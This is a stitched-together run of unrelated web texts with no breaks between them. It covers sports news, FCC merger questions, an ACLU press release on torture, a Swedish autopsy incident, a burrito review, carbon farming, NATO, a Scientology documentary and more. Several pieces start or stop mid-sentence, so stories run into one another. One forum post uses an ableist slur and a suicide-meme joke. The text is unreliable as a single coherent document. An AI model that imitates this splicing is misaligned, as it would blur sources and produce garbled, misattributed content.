As for Cordell Broadus himself, the teen said he feels more settled now as a sophomore in Diamond Bar than he did after a sudden transfer from Long Beach (Calif.) Polytechnic High made him a member of the Brahmas just before the 2011 season, as he told ESPNLA.
"The move was difficult when it first happened, meeting new friends and a new team," Broadus said. "It's been good ever since. The competition level at Long Beach Poly is a whole lot different than it is down here, but I've learned that it's all on me and how hard I work."
Want more on the best stories in high school sports? Visit RivalsHigh or connect with Prep Rally on Facebook and follow us on Twitter.
Other popular content on the Yahoo! network:
• Pat Forde: Michael Phelps begins hunt for record medal haul at swim trials
• Spurs' Tony Parker may miss Olympics because of injury suffered from flying glass
• USATF's 266-page rulebook lacks contingency plan for a tie for an Olympic berth
• ABC News: See photos of Mugly, named the world's ugliest dogTom Wheeler. | AP Photo/Susan Walsh, File F.C.C. has questions for Comcast and Time Warner Cable
The Federal Communications Commission has questions for Comcast and Time Warner Cable about their potential merger—lots of them.
In a letter to the two companies Wednesday, the F.C.C.'s media bureau included a list of 93 questions (and a slew of sub-questions) covering everything from their number of subscribers to prices across the country and details on the cable and broadcast channels owned by the companies.
Story Continued Below
The F.C.C. also wants to see all documents related to Netflix, and the peering deal Comcast signed with the company in recent months.
The questions are wide-ranging; their answers would shine a light on Comcast and Time Warner Cable's businesses and how a combined entity might function. The responses will likely be heavily redacted.
The F.C.C. also sent questions to Charter Communications, focusing on the possible spinoff of cable subscribers that would happen should the Comcast-Time Warner Cable deal move forward.
The responses from Comcast and Time Warner Cable could also spur conditions that may be placed on the potential deal. A number of companies, including Netflix and The Blaze, have suggested that the F.C.C. reject the merger, while Comcast has received support from a number of local mayors, townships, and advertising and media buying firms.
Read the full list of questions in PDF form here: http://bit.ly/1nK8UuOACLU Calls for Independent Counsel to Investigate Administration's Approval of Torture and Abuse
FOR IMMEDIATE RELEASE
CONTACT: (202) 675-2312, [email protected]; (917) 251-8654 or [email protected]
TAKE ACTION
WASHINGTON – In a stunning admission to ABC news Friday night, President Bush declared that he knew his top national security advisers discussed and approved specific details of the CIA's use of torture. Bush reportedly told ABC, "I'm aware our national security team met on this issue. And I approved." Bush also defended the use of waterboarding.
Recent reports indicate that high-level advisers including Dick Cheney, Condoleeza Rice, Donald Rumsfeld, Colin Powell and George Tenet were part of the National Security Council's "Principals Committee" that met regularly and approved the CIA's use of "combined" "enhanced" interrogation techniques, even pushing the limits of the now infamous 2002 Justice Department "torture memo." These top advisers reportedly signed off on how the CIA would interrogate suspects – whether they would be slapped, deprived of sleep or subjected to simulated drowning.
"We have always known that the CIA's use of torture was approved from the very top levels of the U.S. government, yet the latest revelations about knowledge from the president himself and authorization from his top advisers only confirms our worst fears," said Anthony D. Romero, Executive Director of the ACLU. "It is a very sad day when the president of the United States subverts the Constitution, the rule of law, and American values of justice."
Romero added, "It is more important than ever that the U.S. government, when seeking justice against those it suspects of harming us, adhere to our commitment to due process and the rule of law. That's why the ACLU has taken the extraordinary step to offer our assistance to those being prosecuted under the unconstitutional military commissions process. We unfortunately can't erase or make up for what has already happened, but at least we can attempt to restore some of the values and some semblance of due process that the Bush administration has squandered in the name of national security."
The American Civil Liberties Union is calling on Congress to demand an independent prosecutor to investigate possible violations by the Bush administration of laws including the War Crimes Act, the federal Anti-Torture Act, and federal assault laws.
"No one in the executive branch of government can be trusted to fairly investigate or prosecute any crimes since the head of every relevant department, along with the president and vice president, either knew or participated in the planning and approval of illegal acts," said Caroline Fredrickson, Director of the ACLU Washington Legislative Office. "Congress cannot look the other way; it must demand an independent investigation and independent prosecutor."
Fredrickson added, "Congress is duty-bound by the Constitution not only to hold the president, vice president, and all civil officers to account, but it must also send a message to future presidents that it will use its constitutional powers to prevent illegal, and immoral conduct."
The ACLU's letter calling for an independent prosecutor for torture crimes and any criminal cover up is available at:
www.aclu.org/pdfs/safefree/lettertocongress_2007_1213.pdf
ABC's recent news story is available online at:
abcnews.go.com/TheLaw/LawPolitics/story?id=4635175&page=1
Information on the ACLU's Freedom of Information Act lawsuit revealing information on the U.S.'s treatment of detainees is available online at:
www.aclu.org/torturefoiaAccording to the course coordinators, the incident was "extremely unfortunate," but they assert that the name of the body is always communicated in advance of each autopsy.
A medical student's first autopsy tends to be an intense and trying experience in itself. The revelation that the body was their former instructor made the occasion all the more difficult.
"I was super-shocked," one of the students told the TT news agency about his reaction when he saw the body on the bench.
None of the students spoke up when the autopsy technician got to work. However, several testified that the mood was tense and they began whispering to each other. They then tried to concentrate on the task at hand.
"The first autopsy is very emotional and we autopsied someone we knew," another student told TT.
Several students admitted that they have thought a lot about the incident afterward and wonder whether it was really proper for them to have been exposed to such a situation.
"I spontaneously feel that something fell through the cracks in the procedures," one student confessed.
Professor Birgitta Sundelin, the chief physician who was responsible for the course at the time, regrets the incident.
"It was extremely unfortunate. This is the first time I have encountered something like this," she said.
She said that it is routine to tell the class the name of the person to be autopsied ahead of time and that the school did so in this case. However, according to the students, they did not see the name until they could read it from the corpse's toe tag.
In addition, no one at KI had informed the hospital that the students would possibly be offended by the subject whose autopsy they going to perform.
Professor Tina Dalianis, the head of the department, has been informed of the incident. She said she sympathises with the students and that the incident must have been extremely difficult for them, but she does not think that the school has done anything wrong.
"It is really terrible, but it is part of education sometimes. Unfortunately, they must deal with it," she said.
The president of Sweden's Medical Students Association (Medicine Studerandes Förbund, MSF) was outraged by the school's response.
"Very unfortunate. Students should not have to feel uneasy during their education," said Maria Ehlin Kolk, who is also a medical student at Umeå University.
"It is important that an autopsy truly be the educational opportunity that it should be. The question is how much these students learned from the situation," she added.
Kolk thinks it sounds like KI need to tighten up its procedures and tell students in advance that they have the right to speak up if they know the person on the autopsy table.
"All universities should work out such procedures and documents," she said.At the tail end of this winter of our discontent, I felt like Joakim Noah being told it’s snowing in Chicago again when I wandered outside. The crisp winter spring air smacked me in the face when I emerged at the crack of noon to go to bikram yoga. Bikram yoga is the masochistic practice of doing a bunch of funny sounding poses in a room at 104 degrees with 40% humidity… because I can’t wait for DC summer to sweat like that!
And what you may not know about me is I’m very spiritual and believe in the healing powers of yoga. Like the ability to flush out toxins (although I can’t sweat out my entire liver), center my chi, stretch my thyroid, align my chakras, cure cancer, make me remember where I left my keys, and get my student loans absolved… all through the power of breathing and stretching! I know it’s hard for you to picture me doing this, so I took the liberty of including a picture of me in action:
On this latest excursion to the ol’ sweating ‘n stretchin’, J-Cro accompanied me to hang out in a room to the point of near fainting. When we exited the studio several pounds lighter, I realized that our lightheadedness was likely due to an acute lack of burritos in our system, and therefore the perfect time for a burrito outing. We ditched our yoga mats (because nothing says “You can probably beat me up” more than carrying around a yoga mat), and headed off to the Far (north) East of 15th & D St.
I knew I was going to get a burrito (obviously) but I had seen their food truck floating around and vaguely knew of a diverse menu, so I had to weigh my options carefully. I love the general concept of their menu: flat rate – all proteins cost the same, several options,, and then a variety of ingredients that compliment each other as the fixins. Tacos are $3 per (or 3 for $8… the obvious taco choice) and burritos & burrito bowls are $8. They also have a wet burrito option covered in mole sauce, which intrigued me but was not for this time.
J-Cro led off with only 2 tacos: chicken with the salsa roja, and a steak taco with pineapple sauce & bahn mi on corn tortillas (the appropriate taco choice). Although the eastern flavors were very alluring, I didn’t want to overdo it with the clash of styles; a Euro-Latin fusion man eating an Asian-Latin fusion meal might be just too much for this world to handle if I didn’t tread carefully. I stepped up and ordered a burrito with “powerful steak”, the standard lettuce, sesame rice, and jack & cheddar cheese blends, then salsa roja (hot) and spicy mayo then picked Volcano Fajita style, which included “Seasoned red & green bell peppers and onions grilled to perfection.”
The “powerful steak” actually meant a form of teriyaki, which I always forget how much I generally love as a flavor. The first bite gave me a big hunk of chewy steak. Not the most welcoming first bite, but I saw potential and upside buried in here… and by that I mean more steak. The sesame rice had a hint of stickiness (like my thighs after yoga… but much more appealing) and blended really well with the roja sauce. Neither overpowered the other one. The peppers were the real pleasant surprise here. They were indeed cooked to perfection and still had a nice crunch to them to go along with their seasoning. Many other places over cook them to the point that they lose their… firmness.
For a bite or two, the meat seemed to disappear and I was concerned that the way FETG keeps all the proteins the same price was by skimping, but then upon further review I discovered that was actually a tunnel of meat down the middle of the burrito, and who am I to complain about that. Both the cheese and the spicy mayo made yummy but subtle (complimentary?) appearances periodically throughout the burrito. The tortilla held together extremely well (unlike my experience at another Asian-ish burrito joint), but was grilled rather than steamed (a personal preference I |
what they thought were insurgent forces, and killed the boys by accident. “I offer my personal apology and condolences to the family of the boys who were killed,” General Dunford said. “We take full responsibility for this tragedy.”NEWARK -- A Newark man was arrested after he was caught unloading a truck full of debris behind a Central Ward building late Wednesday, the latest arrest in the city's crackdown on illegal dumping, officials said.
Officials released photos of trash they said was dumped on 300 block of 18th Avenue (Photo: Newark Dept. of Public Safety)
Brandon G. McLean, 31, of Newark, was charged with illegal dumping and illegally transporting solid waste.
Members of the Newark Illegal Dumping Task Force saw McLean and two other men unloading wood, doors, a sofa, concrete and plastic bags to the ground from a rental truck in the 300 block of 18th Avenue around 10 p.m., officials said. Two alleged accomplices ran away while police stopped McLean.
Officials said the truck would be seized pending forfeiture proceedings.
In a statement, Public Safety Director Anthony Ambrose urged anyone with information to contact the city tip line at 1-877-NWK-TIPS (1-877-695-8477) or 1-877-NWK-GUNS (1-877-695-4867).
Ambrose and Mayor Ras Baraka announced the anti-dumping task force in June. The effort includes police, sanitation and fire officials.
Noah Cohen may be reached at [email protected]. Follow him on Twitter @noahyc and on Facebook. Find NJ.com on Facebook.
Have a tip? Tell us. nj.com/tipsBLASPHEMY laws, in the sense of laws that penalise speech or acts that disrespect God or the sacred, are “astonishingly widespread”. From the harshest laws to the mildest, all of them deviate in some degree from the international norms that uphold freedom of belief and expression.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
Those were the main conclusions of a report issued this week by the United States Commission on International Religious Freedom (USCIRF), reflecting several years of work by a panel of researchers. It identified 71 countries that punished blasphemy—two of which, Denmark and Malta, repealed their laws very recently—and ranked them according to severity. The countries were assessed on the basis of the harshness of their penalties, the vagueness or precision of the offence, and the degree to which the blasphemy laws underpinned discrimination against some religious groups. Pakistan and Egypt were among the countries found to be using blasphemy laws as a form of anti-minority oppression.
The five countries deemed to practise the grossest violations of international standards were all Muslim-majority lands. Top came Iran and Pakistan, both countries where “blasphemers” can face death. At the other extreme came Ireland, which introduced a new blasphemy law in 2009 on the grounds that the constitution required such legislation. There have been no convictions under the law and initial moves to prosecute Stephen Fry, a British actor, for stridently anti-theistic remarks were dropped amid general embarrassment.
Many European states have blasphemy laws on the statute book, designed to protect established or privileged churches, but they are hardly ever invoked. Russia, Kazakhstan, Poland and Montenegro are on the list, but most other ex-communist countries seem to have retained a relatively secular ethos in their constitutions and therefore have no blasphemy law.
Although Canada appears on the list, with the ninth-mildest regime, the authors commend the fact that Canadian law explicitly upholds the right to robust religious debate, as long as it is conducted in “good faith and decent language”. New Zealand’s legislation affirms something quite similar.
The research delivers a surprisingly harsh verdict on Italy, deemed to be seventh worst infringer of international norms. In truth, that country is hardly in the same league as those that execute, lash or lynch blasphemers. But the terms of an Italian court decision in 2015 were rather troubling to free-expression campaigners. It upheld a fine imposed on an artist who, in a public place in Milan, had depicted a sexual act involving the former Pope Benedict and one of his clerical advisers. The judgment said criticism of religion was legitimate if it was carried out by qualified people with relevant experience—a category into which the artist clearly did not fall.
Joelle Fiss, one of the report’s authors, said their research raised questions about established or state religion. Although having a state religion was permitted in international law, the research showed a correlation between such regimes and harshly enforced blasphemy laws. That, in turn, posed a question about whether it was possible, even hypothetically, to have a state religion which does not imply some disadvantage to religious minorities.
One of the most thoughtful recent comments on the subject has come from Mairead McGuinness, an Irish politician whose job as vice-president of the European Parliament includes dialogue with religions. The fact that her country maintained a blasphemy law, however soft and little-used, weakened Europe’s hand in dialogue with other parts of the world. “The problem [arises] when Europeans criticise the abusive blasphemy or apostasy laws in countries such as Indonesia, Pakistan, Sudan or a host of others,” she said. “The local authorities frequently accuse us of hypocrisy.”
Her conclusion is that Ireland should have a referendum on abolishing the line in Article 40 of the constitution which says that blasphemy should be punished by law: a change that all the country’s political parties and churches would support. In other words, civil liberty begins at home.On the last day of Adrenaline Cyber League Finals, Gambit took revenge on Tengri in the consolidation final and defeated FlipSid3 2-1 (Train 19-15, Cobble 20-22, Mirage 16-9) for the title and $50,000 in prizemoney.
The last day of the $100,000 event which took place in Moscow, Russia, saw Gambit rematch Tengri in the consolidation final.
With a dominating 13-2 Terrorist side on Cache, Dmitry "hooch" Bogdanov's side took map one relatively comfortably at 16-10 despite the Kazakhs' comeback attempt. Cobblestone was a closer affair, but Gambit managed to secure the grand final spot at 16-12.
Adrenaline Cyber League Finals Best of 3 Tengri Matchpage 0 2 Gambit 10 Cache 16 12 Cobblestone 16
Tengri K - D +/- ADR Rating 2.0 Ramazan 'Ramz1k' BashizovRamz1k 41 - 39 +2 85.0 1.04 Abay 'Hobbit' KhasenovHobbit 32 - 40 -8 78.6 0.97 Bektiyar 'fitch' Bahytovfitch 36 - 42 -6 76.9 0.95 Dastan 'dastan' Akbayevdastan 35 - 42 -7 69.6 0.86 Adlet 'keeN' NyrseytovkeeN 26 - 44 -18 45.5 0.62 Gambit K - D +/- ADR Rating 2.0 Rustem'mou' Telepovmou 47 - 30 +17 86.7 1.39 Dmitry 'hooch' Bogdanovhooch 44 - 30 +14 87.6 1.33 Emil 'kUcheR' AkhundovkUcheR 42 - 37 +5 88.7 1.23 Dauren 'AdreN' KystaubayevAdreN 41 - 36 +5 80.0 1.14 Mihail 'Dosia' StolyarovDosia 33 - 37 -4 78.1 1.07
FlipSid3 had been waiting in the final, which started on Train where both teams put up nine rounds on the T side before Gambit strolled through overtime with four consecutive rounds.
On Cobblestone, the first 30 rounds weren't enough to decide the winner once more, as both teams provided great CT sides worthy of 10 rounds.
Gambit seize the title on home soil
In the end, FlipSid3 came out on top of the double-overtime battle on the back of a fantastic performance from Georgi "WorldEdit" Yaskin (46-27, 1.61 Rating).
Mirage was the decider, which ended up being a straight-forward victory for Dauren "AdreN" Kystaubayev and company, who took the title and the $50,000 cheque at 16-9.
Adrenaline Cyber League Finals Best of 3 FlipSid3 Matchpage 1 2 Gambit 15 Train 19 22 Cobblestone 20 9 Mirage 16
FlipSid3 K - D +/- ADR Rating 2.0 Georgi 'WorldEdit' YaskinWorldEdit 84 - 70 +14 85.3 1.20 Denis 'electronic' Sharipovelectronic 77 - 74 +3 83.7 1.14 Yegor'markeloff' Markelovmarkeloff 71 - 67 +4 79.9 1.04 Jan 'wayLander' RahkonenwayLander 56 - 81 -25 67.6 0.83 Andrey 'B1ad3' GorodenskiyB1ad3 54 - 76 -22 57.8 0.80 Gambit K - D +/- ADR Rating 2.0 Dauren 'AdreN' KystaubayevAdreN 87 - 74 +13 97.4 1.29 Rustem'mou' Telepovmou 85 - 67 +18 84.4 1.25 Dmitry 'hooch' Bogdanovhooch 67 - 65 +2 74.0 1.07 Emil 'kUcheR' AkhundovkUcheR 65 - 69 -4 71.2 0.98 Mihail 'Dosia' StolyarovDosia 64 - 68 -4 70.0 0.94
Adrenaline Cyber League Finals standings:Once upon a time, Afghanistan was the forgotten war in Washington. Not anymore.
As President Obama prepares to decide the size and tempo of the drawdown of US forces from Afghanistan that he says will start by the end of July, members of Congress and prominent think tanks are issuing starkly divergent demands and recommendations.
The superlatives and warnings of dire consequences that both sides have used to discuss a large and precipitous withdrawal of US troops are all the more striking, considering that the decade-long Afghanistan war carried on in the shadow of the Iraq war and other conflicts for most of those years.
On Wednesday, a group of 27 senators organized by two Democrats and a Republican sent a letter to Mr. Obama demanding a “sizable and sustained” reduction in the 103,000 US troops in Afghanistan.
Also on Wednesday, Sen. Lindsey Graham (R) of South Carolina took the opposite position in a Washington speech, saying that leaving Afghanistan too quickly would be the "biggest [foreign policy] mistake we have made in my lifetime."
Obama has committed with America’s NATO partners to keeping some US forces in Afghanistan until 2014. But in the aftermath of the successful Osama bin Laden operation in Pakistan, and with Congress looking for ways to cut back on spending, the $2-billion-a-week Afghanistan war is increasingly in the sights of federal budget cutters.
White House officials say Obama is waiting for the assessments of his commanders on the ground before making any decisions, but they confirm that the cost issue is weighing heavily.
In their letter to Obama, the senators laud US forces for successfully removing the Taliban government that allowed Afghanistan to become a haven for Al Qaeda. But nearly a decade after that objective was secured, the war’s cost “far outweighs the benefits,” they say. “It is time for the United States to shift course in Afghanistan,” they add.
That theme of shifting course in the war is increasingly favored by officials who have soured on the manpower-heavy and costly counterinsurgency strategy that was behind Obama’s surge of 30,000 troops last year.
In an opinion piece Wednesday for the Wilmington News Journal in his home state, Sen. Chris Coons (D) of Delaware called the current counterinsurgency strategy in Afghanistan “unsustainable.” Instead, he said, the drawdown to begin next month should “mark the beginning of a new, more targeted counterterrorism strategy that more wisely focuses our military and diplomatic resources on defending America’s security interests.”
The Afghanistan debate has also surged to the forefront among Washington’s think tanks. On Monday, the liberal-leaning Center for American Progress issued a report calling on Obama to start the Afghanistan drawdown by pulling out at least 15,000 troops quickly, with the goal of falling to 40,000 by the end of 2012.
At the neoconservative-favoring American Enterprise Institute – one of the architects of President Bush’s surge of troops in Iraq, and a bastion of support for Obama’s surge – military and security experts use terms like “disaster” to describe any precipitous drawdown.
Republicans have at times been stronger supporters of Obama’s Afghanistan policy than members of his own party. But GOP support for a boots-on-the-ground war is starting to show cracks, especially when the cost of keeping a soldier in Afghanistan has reached $1 million a year.
In addition to the two Republican senators who signed the senators’ letter to Obama – Mike Lee of Utah and Rand Paul of Kentucky – GOP presidential aspirant Mitt Romney caused a few waves when he declared in a Republican debate Monday night that Afghanistan is a “war for independence” that US soldiers should not be fighting.
“One lesson we’ve learned in Afghanistan is that Americans cannot fight another nation’s war of independence,” Mr. Romney declared to some shocked Republicans. “Only the Afghanis can win Afghanistan’s independence from the Taliban.”
Senator Graham – who supported John McCain over Romney in the 2008 Republican presidential contest – quickly skewered Romney’s comment as suggestive of a “Jimmy Carter” (read weak-kneed) foreign policy. And Sen. James Inhofe (R) of Oklahoma accused Romney of trying to appeal to America’s isolationist vein.
• David Grant in Washington contributed to this story.An Icing war just broke out at my college and it is all-out crappy Smirnoff chaos. I don't really get the concept but I have gathered that it's sort of like real-life Rick Rolling, in that it's funny because there's nothing really that funny about it and it's supposed to be embarrassing and...
An Icing war just broke out at my college and it is all-out crappy Smirnoff chaos. I don't really get the concept but I have gathered that it's sort of like real-life Rick Rolling, in that it's funny because there's nothing really that funny about it and it's supposed to be embarrassing and sneaky or something.
I'm going to be dragged in at some point, because our campus is really small, so I figure it would be better/more fun for those actually interested in playing if I actually tried to play along. I suck at this sort of thing though because I'm socially retarded and often can't tell the difference between trolling and people genuinely being idiots; similarly, sarcasm v. being serious. I gather that the point of the game is to force someone to drink a disgusting alcoholic drink, normally in a place or at a moment in time where it is embarrassing or disadvantageous for them.
How can I quickly up my troll levels so I don't ruin everyone's fun? Being an hero exempted, of course.For many climate change activists, the latest rallying cry has been, “Keep it in the ground,” a call to slow and stop drilling for fossil fuels. But for a new generation of land stewards, the cry is becoming, “Put it back in the ground!”
As an avid gardener and former organic farmer, I know the promise that soil holds: Every ounce supports a plethora of life. Now, evidence suggests that soil may also be a key to slowing and reversing climate change.
“I think the future is really bright,” said Loren Poncia, an energetic Northern Californian cattle rancher. Poncia’s optimism stems from the hope he sees in carbon farming, which he has implemented on his ranch. Carbon farming uses land management techniques that increase the rate at which carbon is absorbed from the atmosphere and stored in soils. Scientists, policy makers, and land stewards alike are hopeful about its potential to mitigate climate change.
Carbon is the key ingredient to all life. It is absorbed by plants from the atmosphere as carbon dioxide and, with the energy of sunlight, converted into simple sugars that build more plant matter. Some of this carbon is consumed by animals and cycled through the food chain, but much of it is held in soil as roots or decaying plant matter. Historically, soil has been a carbon sink, a place of long-term carbon storage.
But many modern land management techniques, including deforestation and frequent tilling, expose soil-bound carbon to oxygen, limiting the soil’s absorption and storage potential. In fact, carbon released from soil is estimated to contribute one-third of global greenhouse gas emissions, according to the Food and Agriculture Organization of the United Nations.
Take Action: Tackling the issues that most impact the environment today
Ranchers and farmers have the power to address that issue. Pastures make up 3.3 billion hectares (about 8 billion acres), or 67 percent, of the world’s farmland. Carbon farming techniques can sequester up to 50 tons of carbon per hectare (about 2.5 acres) over a pasture’s lifetime. This motivates some ranchers and farmers to do things a little differently.
“It’s what we think about all day, every day,” said Sallie Calhoun of Paicines Ranch on California’s central coast. “Sequestering soil carbon is essentially creating more life in the soil, since it’s all fed by photosynthesis. It essentially means more plants into every inch of soil.”
Calhoun’s ranch sits in fertile, rolling California pastureland about an hour’s drive east of Monterey Bay. She intensively manages her cattle’s grazing, moving them every few days across 7,000 acres. This avoids compaction, which decreases soil productivity, and also allows perennial grasses to grow back between grazing. Perennial grasses, like sorghum and bluestems, have long root systems that sequester far more carbon than their annual cousins.
By starting with a layer of compost, Calhoun has also turned her new vineyard into an effective carbon sink. Compost is potent for carbon sequestration because of how it enhances otherwise unhealthy soil, enriching it with nutrients and microbes that increase its capacity to harbor plant growth. Compost also increases water-holding capacity, which helps plants thrive even in times of drought. She plans to till the land only once, when she plants the grapes, to avoid releasing stored carbon back into the atmosphere.
Take Action: Tackling the issues that most impact the environment today
Managed grazing and compost application are just a few common practices of the 35 that the Natural Resources Conservation Service recommends for carbon sequestration. All 35 methods have been proven to sequester carbon, though some are better documented than others.
David Lewis, director of the University of California Cooperative Extension, says the techniques Calhoun uses, as well as stream restoration, are some of the most common. Lewis has worked with the Marin Carbon Project, a collaboration of researchers, ranchers, and policy makers, to study and implement carbon farming in Marin County, California. The research has been promising: They found that one application of compost doubled the production of grass and increased carbon sequestration by up to 70 percent. Similarly, stream and river ecosystems, which harbor lots of dense, woody vegetation, can sequester up to one ton of carbon, or as much as a car emits in a year, in just a few feet along their beds.
On his ranch, Poncia has replanted five miles of streams with native shrubs and trees, and has applied compost to all of his 800 acres of pasture. The compost-fortified grasses are more productive and have allowed him to double the number of cattle his land supports. This has had financial benefits. Ten years ago, Poncia was selling veterinary pharmaceuticals to subsidize his ranch. But, with the increase in cattle, he has been able to take up ranching full time. Plus, his ranch sequesters the same amount of carbon each year as is emitted by 81 cars.
Much of the research on carbon farming focuses on rangelands, which are open grasslands, because they make up such a large portion of ecosystems across the planet. They are also, after all, where we grow a vast majority of our food.
“Many of the skeptics of carbon farming think we should be planting forests instead,” Poncia said. “I think forests are a no-brainer, but there are millions of acres of rangelands across the globe and they are not sequestering as much carbon as they could be.”
The potential of carbon farming lies in wide-scale implementation. The Carbon Cycle Institute, which grew out of the Marin Carbon Project with the ambition of applying the research and lessons to other communities in California and nationally, is taking up that task.
“It really all comes back to this,” said Torri Estrada, pointing to a messy white board with the words SOIL CARBON scrawled in big letters. Estrada is managing director of the Carbon Cycle Institute, where he is working to attract more ranchers and farmers to carbon farming. The white board maps the intricate web of organizations and strategies the institute works with. They provide technical assistance and resources to support land stewards in making the transition.
For interested stewards, implementation, and the costs associated with it, are different. It could be as simple as a one-time compost application or as intensive as a lifetime of managing different techniques. But for all, the process starts by first assessing a land’s sequestration potential and deciding which techniques fit a steward’s budget and goals. COMET-Farm, an online tool produced by the U.S. Department of Agriculture, can help estimate a ranch’s carbon input and output.
The institute also works with state and national policy makers to provide economic incentives for these practices. “If the U.S. government would buy carbon credits from farmers, we would produce them,” Poncia said. These credits are one way the government could pay farmers to mitigate climate change. “Farmers overproduce everything. So, if they can fund that, we will produce them,” he said. While he is already sequestering carbon, Poncia says that he could do more, if given the funding.
Estrada sees the bigger potential of carbon farming to help spur a more fundamental conversation about how we relate to the land. “We’re sitting down with ranchers and having a conversation, and carbon is just the medium for that,” he said. Through this work, Estrada has watched ranchers take a more holistic approach to their management.
Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy
On his ranch, Poncia has shifted from thinking about himself as a grass farmer growing feed for his cattle to a soil farmer with the goal of increasing the amount of life in every inch of soil.
• Sally Neas wrote this article for YES! Magazine, a national, nonprofit media organization that fuses powerful ideas with practical actions. Sally is a freelance writer and community educator based in Santa Cruz, California. She has a background in permaculture, sustainable agriculture, and community development, and she covers social and environmental issues.2 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Trump has turned the US presidency into such a joke that NATO leaders were laughing at him during his speech.
Here was Trump thinking that was the big man who was going to lecture NATO:
Trump told the allies that they were unfair:
These grave security concerns are the same reason that I have been very, very direct with Secretary Stoltenberg and members of the Alliance in saying that NATO members must finally contribute their fair share and meet their financial obligations, for 23 of the 28 member nations are still not paying what they should be paying and what they’re supposed to be paying for their defense.
This is not fair to the people and taxpayers of the United States. And many of these nations owe massive amounts of money from past years and not paying in those past years. Over the last eight years, the United States spent more on defense than all other NATO countries combined. If all NATO members had spent just 2 percent of their GDP on defense last year, we would have had another $119 billion for our collective defense and for the financing of additional NATO reserves.
We should recognize that with these chronic underpayments and growing threats, even 2 percent of GDP is insufficient to close the gaps in modernizing, readiness, and the size of forces. We have to make up for the many years lost. Two percent is the bare minimum for confronting today’s very real and very vicious threats. If NATO countries made their full and complete contributions, then NATO would be even stronger than it is today, especially from the threat of terrorism.
Here was NATO’s reaction:
The NATO members were laughing because:
4/ Instead of reaffirming this core commitment, Trump lectured NATO about spending more on defense — Ivo Daalder (@IvoHDaalder) May 25, 2017
5/ He’s right. They should. And they are. 23 countries increased defense spending last year. 8 countries will spend 2% on military next year — Ivo Daalder (@IvoHDaalder) May 25, 2017
6/ All allies committed in 2014 to spend at least 2% on defense by 2024. They did so because of Russia’s invasion of Ukraine — Ivo Daalder (@IvoHDaalder) May 25, 2017
The world is laughing at Trump and treating him like a clueless Putin stooge. Trump still seems to think that NATO is some private club that he is responsible for collecting the dues for.
Trump doesn’t appear to understand the purpose or function of NATO which is why America’s greatest allies couldn’t keep a straight face while he was speaking.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The Scientology building in Hollywood (Photo by Kristin Licitis via the LAist Featured Photos pool on Flickr)
It's only four days until HBO's damning Scientology documentary is set to premiere at the Sundance Film Festival in Park City, Utah. HBO has been keeping Going Clear: Scientology and the Prison of Belief under wraps in fear that the Church of Scientology will try to block any of their content from being shown at the premiere. However, in a new interview with the film's director Alex Gibney (Enron: The Smartest Guys in the Room, Taxi to the Dark Side), he gives some details on what to expect in the movie.
The documentary is based on Lawrence Wright's bestselling 2013 nonfiction book with a similar title as the film, Going Clear: Scientology, Hollywood, and the Prison of Belief. It takes an in-depth look at the controversy surrounding the religion, allegations of abuse (both physical and emotional), and its deep-rooted Hollywood celebrity connections.
Gibney tells the Hollywood Reporter what to look forward to in the documentary, which took two years to make:
There will be old footage of church founder L. Ron Hubbard that aids in telling the story about his journey into building the religion up to what it is today.
We'll get to see rare video clips of Scientology gatherings that will give us a "visceral sense of what it's like to be inside the church," Gibney says. This includes recordings of one of the church's biggest celebrity supporters, Tom Cruise, and of church leader David Miscavige giving cheery speeches to the group followed by fervent applause.
It'll focus on Scientology's star following, especially taking a close look at Cruise and John Travolta's involvement—and this won't be painting a pretty picture of them. The documentary discusses how they're still members despite all the complaints from people about the abuse and forced labor the church imposes on its members.
One former member of the church even talks about how Miscavige secretly would make fun of Cruise's personal life.
There will be interviews with a number of former, high-ranking Scientology officials and members. This includes former longtime Scientologist and filmmaker Paul Haggis who left the church in 2009. His controversial 2011 New Yorker interview with Wright sparked the Wright's interest in writing his book on the religion. According to the NY Times, we'll also see interviews with Miscavige's former lieutenant Marty Rathbun, former senior executive of the church Michael Rinder, and actor Jason Beghe whom Miscavige once called the "poster boy for Scientology."
And in a rare on-camera interview, Spanky Taylor, who worked in Scientology's Los Angeles Celebrity Centre and served as a liaison to Travolta, will delve into the horrible punishments she received when the church became unhappy with her. According to the Daily Beast, the book covers how "the church took away Taylor’s 10-month-old daughter and crammed her, along with 30 infants, in the Child Care Org, a small apartment with wall-to-wall cribs."
However, who we won't be hearing from in the documentary are the current head honchos of the church. Scientology spokeswoman Karen Pouw told the Hollywood Reporter that they weren't able to respond to the film because Gibney didn't supply them with the list of the allegations they're purporting in the film. "Free speech is not a free pass to broadcast or publish false information," Pouw said.
The church told the New York Times that Gibney rebuffed 12 of their requests to speak about the accusations, and that Gibney only wanted interviews with Miscavige, Cruise, Travolta, and other celebrity followers. Gibney argued that he did request interviews, but he was either rejected by the church or asked to follow their orders for what he described as "unreasonable conditions."
The church put out a full-page ad in the New York Times and the Los Angeles Times last Friday, blasting the film.
HBO has lawyered up (they reportedly have 160 lawyers checking out the film which took two years to make) in anticipation of the legal onslaught they'll most likely face from the Church of Scientology, who are infamously known for being litigious. Gibney tells the New York Times that the clips they've used in the film are licensed, in the public domain, or in the bounds of fair use.
Rinder hopes this documentary can change the status quo. He told the New York Times, "I hope this movie increases public pressure for the church to change its abusive practices."
After its Sundance premiere, Going Clear will be featured in a few small theaters before it makes its way to HBO on March 16.– Coming to DVD on November 12th is The Scorpion King 3: Battle For Redemption, and that DVD film will feature former WWE star Batista and former UFC fighter Kimbo Slice. Here is a video preview and the synopsis of the film…
Since his triumphant rise to power in the original blockbuster The Scorpion King, Mathayus’ kingdom has fallen and he’s lost his queen to plague. Now an assassin for hire, he must defend a kingdom from an evil tyrant and his ghost warriors for the chance to regain the power and glory he once knew. Starring Ron Perlman (Hellboy) and Billy Zane (Titanic), and featuring 6-time WWE champion Dave Bautista and UFC star Kimbo Slice, The Scorpion King 3: Battle for Redemption takes The Mummy phenomenon to an all-new level of epic action and non-stop adventure!
NULLCEBU CITY—Did Cebuano businessman Peter Lim and President Duterte know each other before their meeting in Davao City on Friday?
Lim and Duterte are “kumpare,” as they both stood as primary sponsors during a wedding at Shangri-La’s Mactan Island Resort and Spa in Lapu-Lapu City in Cebu province on June 25, according to Lim’s spokesperson, Dioscoro Fuentes Jr.
ADVERTISEMENT
